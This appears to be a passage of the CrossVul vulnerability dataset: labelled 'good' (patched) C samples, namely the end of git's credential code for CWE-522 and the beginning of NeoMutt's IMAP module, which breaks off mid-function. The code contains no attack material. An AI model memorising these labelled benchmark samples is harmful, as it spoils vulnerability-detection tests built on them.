free(c->host); c->host = xstrdup(value); } else if (!strcmp(key, "path")) { free(c->path); c->path = xstrdup(value); } else if (!strcmp(key, "url")) { credential_from_url(c, value); } else if (!strcmp(key, "quit")) { c->quit = !!git_config_bool("quit", value); } /* * Ignore other lines; we don't know what they mean, but * this future-proofs us when later versions of git do * learn new lines, and the helpers are updated to match. */ } strbuf_release(&line); return 0; } static void credential_write_item(FILE *fp, const char *key, const char *value) { if (!value) return; if (strchr(value, '\n')) die("credential value for %s contains newline", key); fprintf(fp, "%s=%s\n", key, value); } void credential_write(const struct credential *c, FILE *fp) { credential_write_item(fp, "protocol", c->protocol); credential_write_item(fp, "host", c->host); credential_write_item(fp, "path", c->path); credential_write_item(fp, "username", c->username); credential_write_item(fp, "password", c->password); } static int run_credential_helper(struct credential *c, const char *cmd, int want_output) { struct child_process helper = CHILD_PROCESS_INIT; const char *argv[] = { NULL, NULL }; FILE *fp; argv[0] = cmd; helper.argv = argv; helper.use_shell = 1; helper.in = -1; if (want_output) helper.out = -1; else helper.no_stdout = 1; if (start_command(&helper) < 0) return -1; fp = xfdopen(helper.in, "w"); credential_write(c, fp); fclose(fp); if (want_output) { int r; fp = xfdopen(helper.out, "r"); r = credential_read(c, fp); fclose(fp); if (r < 0) { finish_command(&helper); return -1; } } if (finish_command(&helper)) return -1; return 0; } static int credential_do(struct credential *c, const char *helper, const char *operation) { struct strbuf cmd = STRBUF_INIT; int r; if (helper[0] == '!') strbuf_addstr(&cmd, helper + 1); else if (is_absolute_path(helper)) strbuf_addstr(&cmd, helper); else strbuf_addf(&cmd, "git credential-%s", helper); strbuf_addf(&cmd, " %s", operation); r = run_credential_helper(c, cmd.buf, !strcmp(operation, "get")); strbuf_release(&cmd); return r; } void credential_fill(struct credential *c) { int i; if (c->username && c->password) return; credential_apply_config(c); for (i = 0; i < c->helpers.nr; i++) { credential_do(c, c->helpers.items[i].string, "get"); if (c->username && c->password) return; if (c->quit) die("credential helper '%s' told us to quit", c->helpers.items[i].string); } credential_getpass(c); if (!c->username && !c->password) die("unable to get password from user"); } void credential_approve(struct credential *c) { int i; if (c->approved) return; if (!c->username || !c->password) return; credential_apply_config(c); for (i = 0; i < c->helpers.nr; i++) credential_do(c, c->helpers.items[i].string, "store"); c->approved = 1; } void credential_reject(struct credential *c) { int i; credential_apply_config(c); for (i = 0; i < c->helpers.nr; i++) credential_do(c, c->helpers.items[i].string, "erase"); FREE_AND_NULL(c->username); FREE_AND_NULL(c->password); c->approved = 0; } void credential_from_url(struct credential *c, const char *url) { const char *at, *colon, *cp, *slash, *host, *proto_end; credential_clear(c); /* * Match one of: * (1) proto://<host>/... * (2) proto://<user>@<host>/... * (3) proto://<user>:<pass>@<host>/... */ proto_end = strstr(url, "://"); if (!proto_end) return; cp = proto_end + 3; at = strchr(cp, '@'); colon = strchr(cp, ':'); slash = strchrnul(cp, '/'); if (!at || slash <= at) { /* Case (1) */ host = cp; } else if (!colon || at <= colon) { /* Case (2) */ c->username = url_decode_mem(cp, at - cp); host = at + 1; } else { /* Case (3) */ c->username = url_decode_mem(cp, colon - cp); c->password = url_decode_mem(colon + 1, at - (colon + 1)); host = at + 1; } if (proto_end - url > 0) c->protocol = xmemdupz(url, proto_end - url); if (slash - host > 0) c->host = url_decode_mem(host, slash - host); /* Trim leading and trailing slashes from path */ while (*slash == '/') slash++; if (*slash) { char *p; c->path = url_decode(slash); p = c->path + strlen(c->path) - 1; while (p > c->path && *p == '/') *p-- = '\0'; } }
./CrossVul/dataset_final_sorted/CWE-522/c/good_4557_0
crossvul-cpp_data_good_4451_0
/** * @file * IMAP network mailbox * * @authors * Copyright (C) 1996-1998,2012 Michael R. Elkins <me@mutt.org> * Copyright (C) 1996-1999 Brandon Long <blong@fiction.net> * Copyright (C) 1999-2009,2012,2017 Brendan Cully <brendan@kublai.com> * Copyright (C) 2018 Richard Russon <rich@flatcap.org> * * @copyright * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see <http://www.gnu.org/licenses/>. */ /** * @page imap_imap IMAP network mailbox * * Support for IMAP4rev1, with the occasional nod to IMAP 4. */ #include "config.h" #include <limits.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include "private.h" #include "mutt/lib.h" #include "config/lib.h" #include "email/lib.h" #include "core/lib.h" #include "conn/lib.h" #include "gui/lib.h" #include "mutt.h" #include "lib.h" #include "bcache/lib.h" #include "pattern/lib.h" #include "auth.h" #include "command_parse.h" #include "commands.h" #include "hook.h" #include "init.h" #include "message.h" #include "msn.h" #include "mutt_globals.h" #include "mutt_logging.h" #include "mutt_socket.h" #include "muttlib.h" #include "mx.h" #include "progress.h" #include "sort.h" #ifdef ENABLE_NLS #include <libintl.h> #endif struct stat; static const struct Command imap_commands[] = { // clang-format off { "subscribe-to", parse_subscribe_to, 0 }, { "unsubscribe-from", parse_unsubscribe_from, 0 }, // clang-format on }; /** * imap_init - Setup feature commands */ void imap_init(void) { COMMANDS_REGISTER(imap_commands); } /** * check_capabilities - Make sure we can log in to this server * @param adata Imap Account data * @retval 0 Success * @retval -1 Failure */ static int check_capabilities(struct ImapAccountData *adata) { if (imap_exec(adata, "CAPABILITY", IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) { imap_error("check_capabilities", adata->buf); return -1; } if (!((adata->capabilities & IMAP_CAP_IMAP4) || (adata->capabilities & IMAP_CAP_IMAP4REV1))) { mutt_error( _("This IMAP server is ancient. NeoMutt does not work with it.")); return -1; } return 0; } /** * get_flags - Make a simple list out of a FLAGS response * @param hflags List to store flags * @param s String containing flags * @retval ptr End of the flags * @retval NULL Failure * * return stream following FLAGS response */ static char *get_flags(struct ListHead *hflags, char *s) { /* sanity-check string */ const size_t plen = mutt_istr_startswith(s, "FLAGS"); if (plen == 0) { mutt_debug(LL_DEBUG1, "not a FLAGS response: %s\n", s); return NULL; } s += plen; SKIPWS(s); if (*s != '(') { mutt_debug(LL_DEBUG1, "bogus FLAGS response: %s\n", s); return NULL; } /* update caller's flags handle */ while (*s && (*s != ')')) { s++; SKIPWS(s); const char *flag_word = s; while (*s && (*s != ')') && !IS_SPACE(*s)) s++; const char ctmp = *s; *s = '\0'; if (*flag_word) mutt_list_insert_tail(hflags, mutt_str_dup(flag_word)); *s = ctmp; } /* note bad flags response */ if (*s != ')') { mutt_debug(LL_DEBUG1, "Unterminated FLAGS response: %s\n", s); mutt_list_free(hflags); return NULL; } s++; return s; } /** * set_flag - append str to flags if we currently have permission according to aclflag * @param[in] m Selected Imap Mailbox * @param[in] aclflag Permissions, see #AclFlags * @param[in] flag Does the email have the flag set? * @param[in] str Server flag name * @param[out] flags Buffer for server command * @param[in] flsize Length of buffer */ static void set_flag(struct Mailbox *m, AclFlags aclflag, int flag, const char *str, char *flags, size_t flsize) { if (m->rights & aclflag) if (flag && imap_has_flag(&imap_mdata_get(m)->flags, str)) mutt_str_cat(flags, flsize, str); } /** * make_msg_set - Make a message set * @param[in] m Selected Imap Mailbox * @param[in] buf Buffer to store message set * @param[in] flag Flags to match, e.g. #MUTT_DELETED * @param[in] changed Matched messages that have been altered * @param[in] invert Flag matches should be inverted * @param[out] pos Cursor used for multiple calls to this function * @retval num Messages in the set * * @note Headers must be in #SORT_ORDER. See imap_exec_msgset() for args. * Pos is an opaque pointer a la strtok(). It should be 0 at first call. */ static int make_msg_set(struct Mailbox *m, struct Buffer *buf, int flag, bool changed, bool invert, int *pos) { int count = 0; /* number of messages in message set */ unsigned int setstart = 0; /* start of current message range */ int n; bool started = false; struct ImapAccountData *adata = imap_adata_get(m); if (!adata || (adata->mailbox != m)) return -1; for (n = *pos; (n < m->msg_count) && (mutt_buffer_len(buf) < IMAP_MAX_CMDLEN); n++) { struct Email *e = m->emails[n]; if (!e) break; bool match = false; /* whether current message matches flag condition */ /* don't include pending expunged messages. * * TODO: can we unset active in cmd_parse_expunge() and * cmd_parse_vanished() instead of checking for index != INT_MAX. */ if (e->active && (e->index != INT_MAX)) { switch (flag) { case MUTT_DELETED: if (e->deleted != imap_edata_get(e)->deleted) match = invert ^ e->deleted; break; case MUTT_FLAG: if (e->flagged != imap_edata_get(e)->flagged) match = invert ^ e->flagged; break; case MUTT_OLD: if (e->old != imap_edata_get(e)->old) match = invert ^ e->old; break; case MUTT_READ: if (e->read != imap_edata_get(e)->read) match = invert ^ e->read; break; case MUTT_REPLIED: if (e->replied != imap_edata_get(e)->replied) match = invert ^ e->replied; break; case MUTT_TAG: if (e->tagged) match = true; break; case MUTT_TRASH: if (e->deleted && !e->purge) match = true; break; } } if (match && (!changed || e->changed)) { count++; if (setstart == 0) { setstart = imap_edata_get(e)->uid; if (started) { mutt_buffer_add_printf(buf, ",%u", imap_edata_get(e)->uid); } else { mutt_buffer_add_printf(buf, "%u", imap_edata_get(e)->uid); started = true; } } /* tie up if the last message also matches */ else if (n == (m->msg_count - 1)) mutt_buffer_add_printf(buf, ":%u", imap_edata_get(e)->uid); } /* End current set if message doesn't match or we've reached the end * of the mailbox via inactive messages following the last match. */ else if (setstart && (e->active || (n == adata->mailbox->msg_count - 1))) { if (imap_edata_get(m->emails[n - 1])->uid > setstart) mutt_buffer_add_printf(buf, ":%u", imap_edata_get(m->emails[n - 1])->uid); setstart = 0; } } *pos = n; return count; } /** * compare_flags_for_copy - Compare local flags against the server * @param e Email * @retval true Flags have changed * @retval false Flags match cached server flags * * The comparison of flags EXCLUDES the deleted flag. */ static bool compare_flags_for_copy(struct Email *e) { struct ImapEmailData *edata = e->edata; if (e->read != edata->read) return true; if (e->old != edata->old) return true; if (e->flagged != edata->flagged) return true; if (e->replied != edata->replied) return true; return false; } /** * sync_helper - Sync flag changes to the server * @param m Selected Imap Mailbox * @param right ACL, see #AclFlags * @param flag NeoMutt flag, e.g. #MUTT_DELETED * @param name Name of server flag * @retval >=0 Success, number of messages * @retval -1 Failure */ static int sync_helper(struct Mailbox *m, AclFlags right, int flag, const char *name) { int count = 0; int rc; char buf[1024]; if (!m) return -1; if ((m->rights & right) == 0) return 0; if ((right == MUTT_ACL_WRITE) && !imap_has_flag(&imap_mdata_get(m)->flags, name)) return 0; snprintf(buf, sizeof(buf), "+FLAGS.SILENT (%s)", name); rc = imap_exec_msgset(m, "UID STORE", buf, flag, true, false); if (rc < 0) return rc; count += rc; buf[0] = '-'; rc = imap_exec_msgset(m, "UID STORE", buf, flag, true, true); if (rc < 0) return rc; count += rc; return count; } /** * longest_common_prefix - Find longest prefix common to two strings * @param dest Destination buffer * @param src Source buffer * @param start Starting offset into string * @param dlen Destination buffer length * @retval num Length of the common string * * Trim dest to the length of the longest prefix it shares with src. */ static size_t longest_common_prefix(char *dest, const char *src, size_t start, size_t dlen) { size_t pos = start; while ((pos < dlen) && dest[pos] && (dest[pos] == src[pos])) pos++; dest[pos] = '\0'; return pos; } /** * complete_hosts - Look for completion matches for mailboxes * @param buf Partial mailbox name to complete * @param buflen Length of buffer * @retval 0 Success * @retval -1 Failure * * look for IMAP URLs to complete from defined mailboxes. Could be extended to * complete over open connections and account/folder hooks too. */ static int complete_hosts(char *buf, size_t buflen) { // struct Connection *conn = NULL; int rc = -1; size_t matchlen; matchlen = mutt_str_len(buf); struct MailboxList ml = STAILQ_HEAD_INITIALIZER(ml); neomutt_mailboxlist_get_all(&ml, NeoMutt, MUTT_MAILBOX_ANY); struct MailboxNode *np = NULL; STAILQ_FOREACH(np, &ml, entries) { if (!mutt_str_startswith(mailbox_path(np->mailbox), buf)) continue; if (rc) { mutt_str_copy(buf, mailbox_path(np->mailbox), buflen); rc = 0; } else longest_common_prefix(buf, mailbox_path(np->mailbox), matchlen, buflen); } neomutt_mailboxlist_clear(&ml); #if 0 TAILQ_FOREACH(conn, mutt_socket_head(), entries) { struct Url url = { 0 }; char urlstr[1024]; if (conn->account.type != MUTT_ACCT_TYPE_IMAP) continue; mutt_account_tourl(&conn->account, &url); /* FIXME: how to handle multiple users on the same host? */ url.user = NULL; url.path = NULL; url_tostring(&url, urlstr, sizeof(urlstr), 0); if (mutt_strn_equal(buf, urlstr, matchlen)) { if (rc) { mutt_str_copy(buf, urlstr, buflen); rc = 0; } else longest_common_prefix(buf, urlstr, matchlen, buflen); } } #endif return rc; } /** * imap_create_mailbox - Create a new mailbox * @param adata Imap Account data * @param mailbox Mailbox to create * @retval 0 Success * @retval -1 Failure */ int imap_create_mailbox(struct ImapAccountData *adata, char *mailbox) { char buf[2048], mbox[1024]; imap_munge_mbox_name(adata->unicode, mbox, sizeof(mbox), mailbox); snprintf(buf, sizeof(buf), "CREATE %s", mbox); if (imap_exec(adata, buf, IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) { mutt_error(_("CREATE failed: %s"), imap_cmd_trailer(adata)); return -1; } return 0; } /** * imap_access - Check permissions on an IMAP mailbox with a new connection * @param path Mailbox path * @retval 0 Success * @retval <0 Failure * * TODO: ACL checks. Right now we assume if it exists we can mess with it. * TODO: This method should take a Mailbox as parameter to be able to reuse the * existing connection. */ int imap_access(const char *path) { if (imap_path_status(path, false) >= 0) return 0; return -1; } /** * imap_rename_mailbox - Rename a mailbox * @param adata Imap Account data * @param oldname Existing mailbox * @param newname New name for mailbox * @retval 0 Success * @retval -1 Failure */ int imap_rename_mailbox(struct ImapAccountData *adata, char *oldname, const char *newname) { char oldmbox[1024]; char newmbox[1024]; int rc = 0; imap_munge_mbox_name(adata->unicode, oldmbox, sizeof(oldmbox), oldname); imap_munge_mbox_name(adata->unicode, newmbox, sizeof(newmbox), newname); struct Buffer *buf = mutt_buffer_pool_get(); mutt_buffer_printf(buf, "RENAME %s %s", oldmbox, newmbox); if (imap_exec(adata, mutt_b2s(buf), IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) rc = -1; mutt_buffer_pool_release(&buf); return rc; } /** * imap_delete_mailbox - Delete a mailbox * @param m Mailbox * @param path name of the mailbox to delete * @retval 0 Success * @retval -1 Failure */ int imap_delete_mailbox(struct Mailbox *m, char *path) { char buf[PATH_MAX + 7]; char mbox[PATH_MAX]; struct Url *url = url_parse(path); struct ImapAccountData *adata = imap_adata_get(m); imap_munge_mbox_name(adata->unicode, mbox, sizeof(mbox), url->path); url_free(&url); snprintf(buf, sizeof(buf), "DELETE %s", mbox); if (imap_exec(m->account->adata, buf, IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) return -1; return 0; } /** * imap_logout - Gracefully log out of server * @param adata Imap Account data */ static void imap_logout(struct ImapAccountData *adata) { /* we set status here to let imap_handle_untagged know we _expect_ to * receive a bye response (so it doesn't freak out and close the conn) */ if (adata->state == IMAP_DISCONNECTED) { return; } adata->status = IMAP_BYE; imap_cmd_start(adata, "LOGOUT"); if ((C_ImapPollTimeout <= 0) || (mutt_socket_poll(adata->conn, C_ImapPollTimeout) != 0)) { while (imap_cmd_step(adata) == IMAP_RES_CONTINUE) ; // do nothing } mutt_socket_close(adata->conn); adata->state = IMAP_DISCONNECTED; } /** * imap_logout_all - close all open connections * * Quick and dirty until we can make sure we've got all the context we need. */ void imap_logout_all(void) { struct Account *np = NULL; TAILQ_FOREACH(np, &NeoMutt->accounts, entries) { if (np->type != MUTT_IMAP) continue; struct ImapAccountData *adata = np->adata; if (!adata) continue; struct Connection *conn = adata->conn; if (!conn || (conn->fd < 0)) continue; mutt_message(_("Closing connection to %s..."), conn->account.host); imap_logout(np->adata); mutt_clear_error(); } } /** * imap_read_literal - Read bytes bytes from server into file * @param fp File handle for email file * @param adata Imap Account data * @param bytes Number of bytes to read * @param pbar Progress bar * @retval 0 Success * @retval -1 Failure * * Not explicitly buffered, relies on FILE buffering. * * @note Strips `\r` from `\r\n`. * Apparently even literals use `\r\n`-terminated strings ?! */ int imap_read_literal(FILE *fp, struct ImapAccountData *adata, unsigned long bytes, struct Progress *pbar) { char c; bool r = false; struct Buffer buf = { 0 }; // Do not allocate, maybe it won't be used if (C_DebugLevel >= IMAP_LOG_LTRL) mutt_buffer_alloc(&buf, bytes + 10); mutt_debug(LL_DEBUG2, "reading %ld bytes\n", bytes); for (unsigned long pos = 0; pos < bytes; pos++) { if (mutt_socket_readchar(adata->conn, &c) != 1) { mutt_debug(LL_DEBUG1, "error during read, %ld bytes read\n", pos); adata->status = IMAP_FATAL; mutt_buffer_dealloc(&buf); return -1; } if (r && (c != '\n')) fputc('\r', fp); if (c == '\r') { r = true; continue; } else r = false; fputc(c, fp); if (pbar && !(pos % 1024)) mutt_progress_update(pbar, pos, -1); if (C_DebugLevel >= IMAP_LOG_LTRL) mutt_buffer_addch(&buf, c); } if (C_DebugLevel >= IMAP_LOG_LTRL) { mutt_debug(IMAP_LOG_LTRL, "\n%s", buf.data); mutt_buffer_dealloc(&buf); } return 0; } /** * imap_notify_delete_email - Inform IMAP that an Email has been deleted * @param m Mailbox * @param e Email */ void imap_notify_delete_email(struct Mailbox *m, struct Email *e) { struct ImapMboxData *mdata = imap_mdata_get(m); struct ImapEmailData *edata = imap_edata_get(e); if (!mdata || !edata) return; imap_msn_remove(&mdata->msn, edata->msn - 1); edata->msn = 0; } /** * imap_expunge_mailbox - Purge messages from the server * @param m Mailbox * * Purge IMAP portion of expunged messages from the context. Must not be done * while something has a handle on any headers (eg inside pager or editor). * That is, check #IMAP_REOPEN_ALLOW. */ void imap_expunge_mailbox(struct Mailbox *m) { struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); if (!adata || !mdata) return; struct Email *e = NULL; #ifdef USE_HCACHE imap_hcache_open(adata, mdata); #endif for (int i = 0; i < m->msg_count; i++) { e = m->emails[i]; if (!e) break; if (e->index == INT_MAX) { mutt_debug(LL_DEBUG2, "Expunging message UID %u\n", imap_edata_get(e)->uid); e->deleted = true; imap_cache_del(m, e); #ifdef USE_HCACHE imap_hcache_del(mdata, imap_edata_get(e)->uid); #endif mutt_hash_int_delete(mdata->uid_hash, imap_edata_get(e)->uid, e); imap_edata_free((void **) &e->edata); } else { /* NeoMutt has several places where it turns off e->active as a * hack. For example to avoid FLAG updates, or to exclude from * imap_exec_msgset. * * Unfortunately, when a reopen is allowed and the IMAP_EXPUNGE_PENDING * flag becomes set (e.g. a flag update to a modified header), * this function will be called by imap_cmd_finish(). * * The ctx_update_tables() will free and remove these "inactive" headers, * despite that an EXPUNGE was not received for them. * This would result in memory leaks and segfaults due to dangling * pointers in the msn_index and uid_hash. * * So this is another hack to work around the hacks. We don't want to * remove the messages, so make sure active is on. */ e->active = true; } } #ifdef USE_HCACHE imap_hcache_close(mdata); #endif mailbox_changed(m, NT_MAILBOX_UPDATE); mailbox_changed(m, NT_MAILBOX_RESORT); } /** * imap_open_connection - Open an IMAP connection * @param adata Imap Account data * @retval 0 Success * @retval -1 Failure */ int imap_open_connection(struct ImapAccountData *adata) { if (mutt_socket_open(adata->conn) < 0) return -1; adata->state = IMAP_CONNECTED; if (imap_cmd_step(adata) != IMAP_RES_OK) { imap_close_connection(adata); return -1; } if (mutt_istr_startswith(adata->buf, "* OK")) { if (!mutt_istr_startswith(adata->buf, "* OK [CAPABILITY") && check_capabilities(adata)) { goto bail; } #ifdef USE_SSL /* Attempt STARTTLS if available and desired. */ if ((adata->conn->ssf == 0) && (C_SslForceTls || (adata->capabilities & IMAP_CAP_STARTTLS))) { enum QuadOption ans; if (C_SslForceTls) ans = MUTT_YES; else if ((ans = query_quadoption(C_SslStarttls, _("Secure connection with TLS?"))) == MUTT_ABORT) { goto bail; } if (ans == MUTT_YES) { enum ImapExecResult rc = imap_exec(adata, "STARTTLS", IMAP_CMD_SINGLE); // Clear any data after the STARTTLS acknowledgement mutt_socket_empty(adata->conn); if (rc == IMAP_EXEC_FATAL) goto bail; if (rc != IMAP_EXEC_ERROR) { if (mutt_ssl_starttls(adata->conn)) { mutt_error(_("Could not negotiate TLS connection")); goto bail; } else { /* RFC2595 demands we recheck CAPABILITY after TLS completes. */ if (imap_exec(adata, "CAPABILITY", IMAP_CMD_NO_FLAGS)) goto bail; } } } } if (C_SslForceTls && (adata->conn->ssf == 0)) { mutt_error(_("Encrypted connection unavailable")); goto bail; } #endif } else if (mutt_istr_startswith(adata->buf, "* PREAUTH")) { #ifdef USE_SSL /* Unless using a secure $tunnel, an unencrypted PREAUTH response may be a * MITM attack. The only way to stop "STARTTLS" MITM attacks is via * $ssl_force_tls: an attacker can easily spoof "* OK" and strip the * STARTTLS capability. So consult $ssl_force_tls, not $ssl_starttls, to * decide whether to abort. Note that if using $tunnel and * $tunnel_is_secure, adata->conn->ssf will be set to 1. */ if ((adata->conn->ssf == 0) && C_SslForceTls) { mutt_error(_("Encrypted connection unavailable")); goto bail; } #endif adata->state = IMAP_AUTHENTICATED; if (check_capabilities(adata) != 0) goto bail; FREE(&adata->capstr); } else { imap_error("imap_open_connection()", adata->buf); goto bail; } return 0; bail: imap_close_connection(adata); FREE(&adata->capstr); return -1; } /** * imap_close_connection - Close an IMAP connection * @param adata Imap Account data */ void imap_close_connection(struct ImapAccountData *adata) { if (adata->state != IMAP_DISCONNECTED) { mutt_socket_close(adata->conn); adata->state = IMAP_DISCONNECTED; } adata->seqno = 0; adata->nextcmd = 0; adata->lastcmd = 0; adata->status = 0; memset(adata->cmds, 0, sizeof(struct ImapCommand) * adata->cmdslots); } /** * imap_has_flag - Does the flag exist in the list * @param flag_list List of server flags * @param flag Flag to find * @retval true Flag exists * * Do a caseless comparison of the flag against a flag list, return true if * found or flag list has '\*'. Note that "flag" might contain additional * whitespace at the end, so we really need to compare up to the length of each * element in "flag_list". */ bool imap_has_flag(struct ListHead *flag_list, const char *flag) { if (STAILQ_EMPTY(flag_list)) return false; const size_t flaglen = mutt_str_len(flag); struct ListNode *np = NULL; STAILQ_FOREACH(np, flag_list, entries) { const size_t nplen = strlen(np->data); if ((flaglen >= nplen) && ((flag[nplen] == '\0') || (flag[nplen] == ' ')) && mutt_istrn_equal(np->data, flag, nplen)) { return true; } if (mutt_str_equal(np->data, "\\*")) return true; } return false; } /** * compare_uid - Compare two Emails by UID - Implements ::sort_t */ static int compare_uid(const void *a, const void *b) { const struct Email *ea = *(struct Email const *const *) a; const struct Email *eb = *(struct Email const *const *) b; return imap_edata_get((struct Email *) ea)->uid - imap_edata_get((struct Email *) eb)->uid; } /** * imap_exec_msgset - Prepare commands for all messages matching conditions * @param m Selected Imap Mailbox * @param pre prefix commands * @param post postfix commands * @param flag flag type on which to filter, e.g. #MUTT_REPLIED * @param changed include only changed messages in message set * @param invert invert sense of flag, eg #MUTT_READ matches unread messages * @retval num Matched messages * @retval -1 Failure * * pre/post: commands are of the form "%s %s %s %s", tag, pre, message set, post * Prepares commands for all messages matching conditions * (must be flushed with imap_exec) */ int imap_exec_msgset(struct Mailbox *m, const char *pre, const char *post, int flag, bool changed, bool invert) { struct ImapAccountData *adata = imap_adata_get(m); if (!adata || (adata->mailbox != m)) return -1; struct Email **emails = NULL; short oldsort; int pos; int rc; int count = 0; struct Buffer cmd = mutt_buffer_make(0); /* We make a copy of the headers just in case resorting doesn't give exactly the original order (duplicate messages?), because other parts of the ctx are tied to the header order. This may be overkill. */ oldsort = C_Sort; if (C_Sort != SORT_ORDER) { emails = m->emails; // We overcommit here, just in case new mail arrives whilst we're sync-ing m->emails = mutt_mem_malloc(m->email_max * sizeof(struct Email *)); memcpy(m->emails, emails, m->email_max * sizeof(struct Email *)); C_Sort = SORT_ORDER; qsort(m->emails, m->msg_count, sizeof(struct Email *), compare_uid); } pos = 0; do { mutt_buffer_reset(&cmd); mutt_buffer_add_printf(&cmd, "%s ", pre); rc = make_msg_set(m, &cmd, flag, changed, invert, &pos); if (rc > 0) { mutt_buffer_add_printf(&cmd, " %s", post); if (imap_exec(adata, cmd.data, IMAP_CMD_QUEUE) != IMAP_EXEC_SUCCESS) { rc = -1; goto out; } count += rc; } } while (rc > 0); rc = count; out: mutt_buffer_dealloc(&cmd); if (oldsort != C_Sort) { C_Sort = oldsort; FREE(&m->emails); m->emails = emails; } return rc; } /** * imap_sync_message_for_copy - Update server to reflect the flags of a single message * @param[in] m Mailbox * @param[in] e Email * @param[in] cmd Buffer for the command string * @param[out] err_continue Did the user force a continue? * @retval 0 Success * @retval -1 Failure * * Update the IMAP server to reflect the flags for a single message before * performing a "UID COPY". * * @note This does not sync the "deleted" flag state, because it is not * desirable to propagate that flag into the copy. */ int imap_sync_message_for_copy(struct Mailbox *m, struct Email *e, struct Buffer *cmd, enum QuadOption *err_continue) { struct ImapAccountData *adata = imap_adata_get(m); if (!adata || (adata->mailbox != m)) return -1; char flags[1024]; char *tags = NULL; char uid[11]; if (!compare_flags_for_copy(e)) { if (e->deleted == imap_edata_get(e)->deleted) e->changed = false; return 0; } snprintf(uid, sizeof(uid), "%u", imap_edata_get(e)->uid); mutt_buffer_reset(cmd); mutt_buffer_addstr(cmd, "UID STORE "); mutt_buffer_addstr(cmd, uid); flags[0] = '\0'; set_flag(m, MUTT_ACL_SEEN, e->read, "\\Seen ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_WRITE, e->old, "Old ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_WRITE, e->flagged, "\\Flagged ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_WRITE, e->replied, "\\Answered ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_DELETE, imap_edata_get(e)->deleted, "\\Deleted ", flags, sizeof(flags)); if (m->rights & MUTT_ACL_WRITE) { /* restore system flags */ if (imap_edata_get(e)->flags_system) mutt_str_cat(flags, sizeof(flags), imap_edata_get(e)->flags_system); /* set custom flags */ tags = driver_tags_get_with_hidden(&e->tags); if (tags) { mutt_str_cat(flags, sizeof(flags), tags); FREE(&tags); } } mutt_str_remove_trailing_ws(flags); /* UW-IMAP is OK with null flags, Cyrus isn't. The only solution is to * explicitly revoke all system flags (if we have permission) */ if (*flags == '\0') { set_flag(m, MUTT_ACL_SEEN, 1, "\\Seen ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_WRITE, 1, "Old ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_WRITE, 1, "\\Flagged ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_WRITE, 1, "\\Answered ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_DELETE, !imap_edata_get(e)->deleted, "\\Deleted ", flags, sizeof(flags)); /* erase custom flags */ if ((m->rights & MUTT_ACL_WRITE) && imap_edata_get(e)->flags_remote) mutt_str_cat(flags, sizeof(flags), imap_edata_get(e)->flags_remote); mutt_str_remove_trailing_ws(flags); mutt_buffer_addstr(cmd, " -FLAGS.SILENT ("); } else mutt_buffer_addstr(cmd, " FLAGS.SILENT ("); mutt_buffer_addstr(cmd, flags); mutt_buffer_addstr(cmd, ")"); /* after all this it's still possible to have no flags, if you * have no ACL rights */ if (*flags && (imap_exec(adata, cmd->data, IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) && err_continue && (*err_continue != MUTT_YES)) { *err_continue = imap_continue("imap_sync_message: STORE failed", adata->buf); if (*err_continue != MUTT_YES) return -1; } /* server have now the updated flags */ FREE(&imap_edata_get(e)->flags_remote); imap_edata_get(e)->flags_remote = driver_tags_get_with_hidden(&e->tags); if (e->deleted == imap_edata_get(e)->deleted) e->changed = false; return 0; } /** * imap_check_mailbox - use the NOOP or IDLE command to poll for new mail * @param m Mailbox * @param force Don't wait * @retval #MUTT_REOPENED mailbox has been externally modified * @retval #MUTT_NEW_MAIL new mail has arrived * @retval 0 no change * @retval -1 error */ int imap_check_mailbox(struct Mailbox *m, bool force) { if (!m || !m->account) return -1; struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); /* overload keyboard timeout to avoid many mailbox checks in a row. * Most users don't like having to wait exactly when they press a key. */ int rc = 0; /* try IDLE first, unless force is set */ if (!force && C_ImapIdle && (adata->capabilities & IMAP_CAP_IDLE) && ((adata->state != IMAP_IDLE) || (mutt_date_epoch() >= adata->lastread + C_ImapKeepalive))) { if (imap_cmd_idle(adata) < 0) return -1; } if (adata->state == IMAP_IDLE) { while ((rc = mutt_socket_poll(adata->conn, 0)) > 0) { if (imap_cmd_step(adata) != IMAP_RES_CONTINUE) { mutt_debug(LL_DEBUG1, "Error reading IDLE response\n"); return -1; } } if (rc < 0) { mutt_debug(LL_DEBUG1, "Poll failed, disabling IDLE\n"); adata->capabilities &= ~IMAP_CAP_IDLE; // Clear the flag } } if ((force || ((adata->state != IMAP_IDLE) && (mutt_date_epoch() >= adata->lastread + C_Timeout))) && (imap_exec(adata, "NOOP", IMAP_CMD_POLL) != IMAP_EXEC_SUCCESS)) { return -1; } /* We call this even when we haven't run NOOP in case we have pending * changes to process, since we can reopen here. */ imap_cmd_finish(adata); if (mdata->check_status & IMAP_EXPUNGE_PENDING) rc = MUTT_REOPENED; else if (mdata->check_status & IMAP_NEWMAIL_PENDING) rc = MUTT_NEW_MAIL; else if (mdata->check_status & IMAP_FLAGS_PENDING) rc = MUTT_FLAGS; mdata->check_status = IMAP_OPEN_NO_FLAGS; return rc; } /** * imap_status - Refresh the number of total and new messages * @param adata IMAP Account data * @param mdata IMAP Mailbox data * @param queue Queue the STATUS command * @retval num Total number of messages */ static int imap_status(struct ImapAccountData *adata, struct ImapMboxData *mdata, bool queue) { char *uidvalidity_flag = NULL; char cmd[2048]; if (!adata || !mdata) return -1; /* Don't issue STATUS on the selected mailbox, it will be NOOPed or * IDLEd elsewhere. * 